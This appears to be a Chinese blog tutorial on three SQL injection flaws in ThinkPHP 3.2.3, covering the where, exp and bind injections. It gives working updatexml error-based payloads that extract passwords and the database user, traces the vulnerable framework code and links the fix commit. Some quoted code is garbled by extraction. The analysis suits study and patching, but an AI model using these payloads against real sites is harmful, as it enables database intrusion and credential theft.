前言ThinkPhp是目前主流的一款php语言框架,但在使用中,也是产生了很多的高危漏洞。本文小编将从Thinkphp3说起,说明一些tp3框架的漏洞产生原理。使广大爱好者进一步深刻的理解框架。
环境搭建Thinkphp3.2.3 where注入?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
分析- 于442行通过think_filter函数进行过滤
- 经过ThinkPHP/Library/Think/Model.class.php:779的find()方法
id=1' -> I() -> find() -> __parseOptions() ->_parseType()
满足条件才能进去__parseOptions()方法 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
index.php?id[where]=3 and 1=1
修复Thinkphp 3.2.3 exp注入http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
分析- 进入Model.class.php的822行this>select(this>select(options)
- 跟踪Driver.class.php中的parseSql方法
- 跟踪Driver.class.php中的parseWhere方法
- 经过whereStr.=whereStr.=this->parseWhereItem(this>parseKey(this>parseKey(key), $val)方法,跟踪进去
需要时数组才可以进去if语句
} elseif ('bind' == $exp) { // 使用表达式 $whereStr .= $key . ' = :' . $val[1];
修复使用I方法接受会通过think_filter函数进行过滤 thinkphp 3.2.3 bind注入index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
public function index() { $User = M("Users"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }
上文说到除了exp还有bind可以进行注入 - 进入到了parseWhereItem方法(bind可以注入)
- 在Driver.class.php文件execute中进行冒号替换
if (!empty($this->bind)) { $that = $this; $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return ''' . $that->escapeString($val) . ''';}, $this->bind)); }
修复https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
|